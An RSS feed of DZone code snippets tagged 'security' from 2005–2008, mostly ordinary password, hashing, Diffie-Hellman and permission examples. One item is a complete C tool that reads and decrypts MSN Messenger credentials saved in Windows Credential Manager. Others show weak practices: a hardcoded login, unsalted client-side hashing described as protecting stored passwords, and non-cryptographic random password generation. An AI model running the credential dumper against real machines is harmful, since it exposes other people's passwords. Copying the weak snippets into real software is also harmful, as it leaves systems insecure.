<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DZone Snippets: security code</title>
    <link>http://snippets.dzone.com/posts</link>
    <pubDate>Thu, 15 May 2008 18:48:49 GMT</pubDate>
    <description>DZone Snippets: security code</description>
    <item>
      <title>Ruby password strength calculator</title>
      <link>http://snippets.dzone.com/posts/show/4698</link>
      <description>This method returns the password lifetime in years. Based on this:&lt;br /&gt;http://www.codeandcoffee.com/2007/06/27/how-to-make-a-password-strength-meter-like-google&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;class String&lt;br /&gt;  PASSWORD_SETS = {&lt;br /&gt;    /[a-z]/ =&gt; 26,&lt;br /&gt;    /[A-Z]/ =&gt; 26,&lt;br /&gt;    /[0-9]/ =&gt; 10,&lt;br /&gt;    /[^\w]/ =&gt; 32&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  def password_strength&lt;br /&gt;    set_size = 0&lt;br /&gt;    PASSWORD_SETS.each_pair {|k,v| set_size += v if self =~ k}&lt;br /&gt;    &lt;br /&gt;    combinations = set_size ** length&lt;br /&gt;    &lt;br /&gt;    # assuming 1000 tries per second&lt;br /&gt;    days = combinations.to_f / 1000 / 86400&lt;br /&gt;    &lt;br /&gt;    days / 365&lt;br /&gt;  end&lt;br /&gt;end&lt;br /&gt;&lt;/code&gt;</description>
      <pubDate>Thu, 25 Oct 2007 14:35:45 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/4698</guid>
      <author>ciconia (Sharon Rosner)</author>
    </item>
    <item>
      <title>Diffie-Hellman key exchange in Ruby</title>
      <link>http://snippets.dzone.com/posts/show/4600</link>
      <description>From: http://labs.musecurity.com/2007/05/09/diffie-hellman-in-ruby/&lt;br /&gt;Author: kowsik&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;class Integer&lt;br /&gt;    # Compute self ^ e mod m&lt;br /&gt;    def mod_exp e, m&lt;br /&gt;        result = 1&lt;br /&gt;        b = self&lt;br /&gt;        while e &gt; 0&lt;br /&gt;            result = (result * b) % m if e[0] == 1&lt;br /&gt;            e = e &gt;&gt; 1&lt;br /&gt;            b = (b * b) % m&lt;br /&gt;        end&lt;br /&gt;        return result&lt;br /&gt;    end&lt;br /&gt;&lt;br /&gt;    # A roundabout, slow but fun way of counting bits.&lt;br /&gt;    def bits_set&lt;br /&gt;        ("%b" % self).count('1')&lt;br /&gt;        #to_s(2).count('1')   # alternative&lt;br /&gt;        #count = 0         # alternative&lt;br /&gt;        #byte = self.abs&lt;br /&gt;        #count += byte &amp; 1 and byte &gt;&gt;= 1 until byte == 0     # cf. http://snippets.dzone.com/posts/show/4233&lt;br /&gt;        #count&lt;br /&gt;    end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class DH&lt;br /&gt;    attr_reader :p, :g, :q, :x, :e&lt;br /&gt;&lt;br /&gt;    # p is the prime, g the generator and q order of the subgroup&lt;br /&gt;    def initialize p, g, q&lt;br /&gt;        @p = p&lt;br /&gt;        @g = g&lt;br /&gt;        @q = q&lt;br /&gt;    end&lt;br /&gt;&lt;br /&gt;    # generate the [secret] random value and the public key&lt;br /&gt;    def generate tries=16&lt;br /&gt;        tries.times do&lt;br /&gt;            @x = rand(@q)&lt;br /&gt;            @e = self.g.mod_exp(@x, self.p)&lt;br /&gt;            return @e if self.valid?&lt;br /&gt;        end&lt;br /&gt;        raise ArgumentError, "can't generate valid e"&lt;br /&gt;    end&lt;br /&gt;&lt;br /&gt;    # validate a public key&lt;br /&gt;    def valid? _e = self.e&lt;br /&gt;        _e and _e.between?(2, self.p-2) and _e.bits_set &gt; 1&lt;br /&gt;    end&lt;br /&gt;&lt;br /&gt;    # compute the shared secret, given the public key&lt;br /&gt;    def secret f&lt;br /&gt;        f.mod_exp(self.x, self.p)&lt;br /&gt;    end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;alice = DH.new(53, 5, 23)&lt;br /&gt;bob   = DH.new(53, 5, 15)&lt;br /&gt;alice.generate&lt;br /&gt;bob.generate&lt;br /&gt;&lt;br /&gt;alice_s = alice.secret(bob.e)&lt;br /&gt;bob_s   = bob.secret(alice.e)&lt;br /&gt;puts alice_s&lt;br /&gt;puts bob_s&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;</description>
      <pubDate>Mon, 01 Oct 2007 18:39:55 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/4600</guid>
      <author>ntk ()</author>
    </item>
    <item>
      <title>Password authentication without revealing your password</title>
      <link>http://snippets.dzone.com/posts/show/3975</link>
      <description>The majority of personalized web sites use some kind of form-based password authentication where you have two form fields for username and password, and a login button. When you submit your authentication, the password is sent in the clear to the server for verification against a user database.&lt;br /&gt;&lt;br /&gt;Using a Javascript SHA library and one simple onsubmit protects the password in transit and also inside the user database:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;form onsubmit="pwField.value = b64_sha256(pwField.value);"&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.asgeirnilsen.com/2005/11/password-authentication-without.html"&gt;Read this&lt;/a&gt; for more elaborations with increased security.</description>
      <pubDate>Wed, 09 May 2007 19:59:22 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/3975</guid>
      <author>asgeirn (Asgeir S. Nilsen)</author>
    </item>
    <item>
      <title>Better textilize</title>
      <link>http://snippets.dzone.com/posts/show/3628</link>
      <description>A better textilize helper that doesn't use the :hard_breaks option of RedCloth, like Rails' built-in textilize does (for whatever reason). Also escapes any HTML entered by the user (instead of dismissing it, as RedCloth's :filter_html option would do).&lt;br /&gt;&lt;br /&gt;This my not be what you need, but it's exactly what I need. :)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;  def textilize(text)&lt;br /&gt;    RedCloth.new(text.gsub(/&lt;/, '&amp;lt;').gsub(/&gt;/, '&amp;gt;')).to_html&lt;br /&gt;  end&lt;br /&gt;&lt;/code&gt;</description>
      <pubDate>Sun, 04 Mar 2007 17:07:20 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/3628</guid>
      <author>hmans (Hendrik Mans)</author>
    </item>
    <item>
      <title>Import not trusted certificates into JDK security</title>
      <link>http://snippets.dzone.com/posts/show/2229</link>
      <description>// Useful for open an SSL connection to a not trusted site&lt;br /&gt;// keytool is provided by Sun's JDK&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;keytool -import -trustcacerts -alias &lt;alias&gt; -file &lt;cert_file&gt; -keystore $JAVA_HOME/jre/lib/security/cacerts&lt;br /&gt;&lt;/code&gt;</description>
      <pubDate>Mon, 26 Jun 2006 20:43:29 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/2229</guid>
      <author>dirtyaffairs (Dirty Affairs)</author>
    </item>
    <item>
      <title>securing the  /home directory</title>
      <link>http://snippets.dzone.com/posts/show/2045</link>
      <description>I'm still working on getting this one perfect.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;chmod 701 /home/*&lt;br /&gt;chmod 705 /home/*/public_html&lt;br /&gt;chmod 604 /home/*/public_html/*.*&lt;br /&gt;&lt;/code&gt;</description>
      <pubDate>Tue, 16 May 2006 14:46:58 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/2045</guid>
      <author>lordrich ()</author>
    </item>
    <item>
      <title>WWW-Authenticate example</title>
      <link>http://snippets.dzone.com/posts/show/2006</link>
      <description>// Shows how to use the WWW-Authenticate header to make login pages.You find a good tutorial at php.net&lt;br /&gt;// (Source: http://codedump.jonasjohn.de/ - Public domain)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;$login_successful = false;&lt;br /&gt;&lt;br /&gt;// check user &amp; pwd:&lt;br /&gt;if (isset($_SERVER['PHP_AUTH_USER']) &amp;&amp; isset($_SERVER['PHP_AUTH_PW'])){&lt;br /&gt;&lt;br /&gt;    $usr = $_SERVER['PHP_AUTH_USER'];&lt;br /&gt;    $pwd = $_SERVER['PHP_AUTH_PW'];&lt;br /&gt;&lt;br /&gt;    if ($usr == 'jonas' &amp;&amp; $pwd == 'secret'){&lt;br /&gt;        $login_successful = true;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// login ok?&lt;br /&gt;if (!$login_successful){&lt;br /&gt;&lt;br /&gt;    // send 401 headers:&lt;br /&gt;    // realm="something" will be shown in the login box &lt;br /&gt;    header('WWW-Authenticate: Basic realm="Secret page"');&lt;br /&gt;    header('HTTP/1.0 401 Unauthorized');&lt;br /&gt;    print "Login failed!\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;    // show secret page:&lt;br /&gt;    print 'you reached the secret page!';&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/code&gt;</description>
      <pubDate>Wed, 10 May 2006 02:33:31 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/2006</guid>
      <author>jonasj (Jonas J.)</author>
    </item>
    <item>
      <title>Random Password Generator</title>
      <link>http://snippets.dzone.com/posts/show/1487</link>
      <description>This is a complete, working, random password generator for PHP. It allows the implementor to customize the character sets that the password is generated from.&lt;br /&gt;&lt;br /&gt;To configure the generator, create the following configuration array. It is an array of arrays where each element array defines the characters in the pool and the minimum and maximum number of these characters that must appear in the result password. Each member array is given a single character token that identifies it.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;// Configuration definitions, move to config.php&lt;br /&gt;$CONFIG['security']['password_generator'] = array(&lt;br /&gt;	"C" =&gt; array('characters' =&gt; 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'minimum' =&gt; 4, 'maximum' =&gt; 6),&lt;br /&gt;	"S" =&gt; array('characters' =&gt; "!@()-_=+?*^&amp;", 'minimum' =&gt; 1, 'maximum' =&gt; 2),&lt;br /&gt;	"N" =&gt; array('characters' =&gt; '1234567890', 'minimum' =&gt; 2, 'maximum' =&gt; 2)&lt;br /&gt;);&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The GeneratePassword() function uses the configuration array to generate a password. It starts by creating a meta-password, which is a shuffled string of the tokens from the configuration data. After the meta-password is ready, it loops through it and uses each token to choose a character from the pool of available characters defined in the configuration arrays. Once it is done, it returns the result.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;function STEM_GeneratePassword()&lt;br /&gt;{&lt;br /&gt;	// Create the meta-password&lt;br /&gt;	$sMetaPassword = "";&lt;br /&gt;	&lt;br /&gt;	global $CONFIG;&lt;br /&gt;	$ahPasswordGenerator = $CONFIG['security']['password_generator'];&lt;br /&gt;	foreach ($ahPasswordGenerator as $cToken =&gt; $ahPasswordSeed)&lt;br /&gt;		$sMetaPassword .= str_repeat($cToken, rand($ahPasswordSeed['minimum'], $ahPasswordSeed['maximum']));&lt;br /&gt;		&lt;br /&gt;	$sMetaPassword = str_shuffle($sMetaPassword);&lt;br /&gt;	&lt;br /&gt;	// Create the real password&lt;br /&gt;	$arBuffer = array();&lt;br /&gt;	for ($i = 0; $i &lt; strlen($sMetaPassword); $i ++)&lt;br /&gt;		$arBuffer[] = $ahPasswordGenerator[(string)$sMetaPassword[$i]]['characters'][rand(0, strlen($ahPasswordGenerator[$sMetaPassword[$i]]['characters']) - 1)];&lt;br /&gt;&lt;br /&gt;	return implode("", $arBuffer);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;-- &lt;br /&gt;Version 0.1.0 - 2006-02-14&lt;br /&gt;STEM: The STEM Cells of PHP&lt;br /&gt;This work is licensed under a Creative Commons Attribution-ShareAlike 2.5 License&lt;br /&gt;http://creativecommons.org/licenses/by-sa/2.5/</description>
      <pubDate>Tue, 14 Feb 2006 23:50:17 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/1487</guid>
      <author>Charlie (Stephen Martindale)</author>
    </item>
    <item>
      <title>MSN Messenger Password Decrypter for Windows XP &amp; 2003</title>
      <link>http://snippets.dzone.com/posts/show/1007</link>
      <description>// MSN Messenger Password Decrypter for Windows XP &amp; 2003&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt; /*&lt;br /&gt; *  MSN Messenger Password Decrypter for Windows XP &amp; 2003&lt;br /&gt; *  (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)&lt;br /&gt; *      - Gregory R. Panakkal&lt;br /&gt; *        http://www.crapware.tk/&lt;br /&gt; *        http://www.infogreg.com/&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;windows.h&gt;&lt;br /&gt;#include &lt;wincrypt.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;#pragma comment(lib, "Crypt32.lib")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//Following definitions taken from wincred.h&lt;br /&gt;//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]&lt;br /&gt;&lt;br /&gt;typedef struct _CREDENTIAL_ATTRIBUTEA {&lt;br /&gt;    LPSTR Keyword;&lt;br /&gt;    DWORD Flags;&lt;br /&gt;    DWORD ValueSize;&lt;br /&gt;    LPBYTE Value;&lt;br /&gt;}&lt;br /&gt;CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;&lt;br /&gt;&lt;br /&gt;typedef struct _CREDENTIALA {&lt;br /&gt;    DWORD Flags;&lt;br /&gt;    DWORD Type;&lt;br /&gt;    LPSTR TargetName;&lt;br /&gt;    LPSTR Comment;&lt;br /&gt;    FILETIME LastWritten;&lt;br /&gt;    DWORD CredentialBlobSize;&lt;br /&gt;    LPBYTE CredentialBlob;&lt;br /&gt;    DWORD Persist;&lt;br /&gt;    DWORD AttributeCount;&lt;br /&gt;    PCREDENTIAL_ATTRIBUTEA Attributes;&lt;br /&gt;    LPSTR TargetAlias;&lt;br /&gt;    LPSTR UserName;&lt;br /&gt;} CREDENTIALA,*PCREDENTIALA;&lt;br /&gt;&lt;br /&gt;typedef CREDENTIALA CREDENTIAL;&lt;br /&gt;typedef PCREDENTIALA PCREDENTIAL;&lt;br /&gt;&lt;br /&gt;////////////////////////////////////////////////////////////////////&lt;br /&gt;&lt;br /&gt;typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR, DWORD, DWORD *, PCREDENTIALA **);&lt;br /&gt;typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD, DWORD, PCREDENTIALA *);&lt;br /&gt;typedef VOID (WINAPI *typeCredFree)(PVOID);&lt;br /&gt;&lt;br /&gt;typeCredEnumerateA pfCredEnumerateA;&lt;br /&gt;typeCredReadA pfCredReadA;&lt;br /&gt;typeCredFree pfCredFree;&lt;br /&gt;&lt;br /&gt;////////////////////////////////////////////////////////////////////&lt;br /&gt;&lt;br /&gt;void showBanner()&lt;br /&gt;{&lt;br /&gt;    printf("MSN Messenger Password Decrypter for Windows XP/2003\n");&lt;br /&gt;    printf("   - Gregory R. Panakkal, http://www.infogreg.com \n\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;////////////////////////////////////////////////////////////////////&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    PCREDENTIAL *CredentialCollection = NULL;&lt;br /&gt;    DATA_BLOB blobCrypt, blobPlainText, blobEntropy;&lt;br /&gt;&lt;br /&gt;    //used for filling up blobEntropy&lt;br /&gt;    char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll&lt;br /&gt;    short int EntropyData[37];&lt;br /&gt;    short int tmp;&lt;br /&gt;&lt;br /&gt;    HMODULE hDLL;&lt;br /&gt;    DWORD Count, i;&lt;br /&gt;&lt;br /&gt;    showBanner();&lt;br /&gt;&lt;br /&gt;    //Locate CredEnumerate, CredRead, CredFree from advapi32.dll&lt;br /&gt;    if( hDLL = LoadLibrary("advapi32.dll") )&lt;br /&gt;    {&lt;br /&gt;        pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");&lt;br /&gt;        pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");&lt;br /&gt;        pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");&lt;br /&gt;&lt;br /&gt;        if( pfCredEnumerateA == NULL||&lt;br /&gt;            pfCredReadA == NULL ||&lt;br /&gt;            pfCredFree == NULL )&lt;br /&gt;        {&lt;br /&gt;            printf("error!\n");&lt;br /&gt;            return -1;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;    //Get an array of 'credential', satisfying the filter&lt;br /&gt;    pfCredEnumerateA("Passport.Net\\*", 0, &amp;Count, &amp;CredentialCollection);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    if( Count ) //usually this value is only 1&lt;br /&gt;    {&lt;br /&gt;&lt;br /&gt;        //Calculate Entropy Data&lt;br /&gt;        for(i=0; i&lt;37; i++) // strlen(szEntropyStringSeed) = 37&lt;br /&gt;        {&lt;br /&gt;            tmp = (short int)szEntropyStringSeed[i];&lt;br /&gt;            tmp &lt;&lt;= 2;&lt;br /&gt;            EntropyData[i] = tmp;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        for(i=0; i&lt;Count; i++)&lt;br /&gt;        {&lt;br /&gt;            blobEntropy.pbData = (BYTE *)&amp;EntropyData;&lt;br /&gt;            blobEntropy.cbData = 74; //sizeof(EntropyData)&lt;br /&gt;&lt;br /&gt;            blobCrypt.pbData = CredentialCollection[i]-&gt;CredentialBlob;&lt;br /&gt;            blobCrypt.cbData = CredentialCollection[i]-&gt;CredentialBlobSize;&lt;br /&gt;&lt;br /&gt;            CryptUnprotectData(&amp;blobCrypt, NULL, &amp;blobEntropy, NULL, NULL, 1, &amp;blobPlainText);&lt;br /&gt;            &lt;br /&gt;            printf("Username : %s\n", CredentialCollection[i]-&gt;UserName);&lt;br /&gt;            printf("Password : %ls\n\n", blobPlainText.pbData);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    pfCredFree(CredentialCollection);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;</description>
      <pubDate>Thu, 22 Dec 2005 18:05:10 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/1007</guid>
      <author>mornlee (mornlee)</author>
    </item>
    <item>
      <title>Very minimal security of remote file fetching on Linux</title>
      <link>http://snippets.dzone.com/posts/show/543</link>
      <description>Basic stuff, but stops bad users being able to grab stuff they shouldn't.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;chmod 750 /usr/bin/rcp &lt;br /&gt;chmod 750 /usr/bin/wget &lt;br /&gt;chmod 750 /usr/bin/lynx &lt;br /&gt;chmod 750 /usr/bin/links &lt;br /&gt;chmod 750 /usr/bin/scp&lt;/code&gt;</description>
      <pubDate>Wed, 03 Aug 2005 08:20:26 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/543</guid>
      <author>peter (Peter Cooperx)</author>
    </item>
  </channel>
</rss>
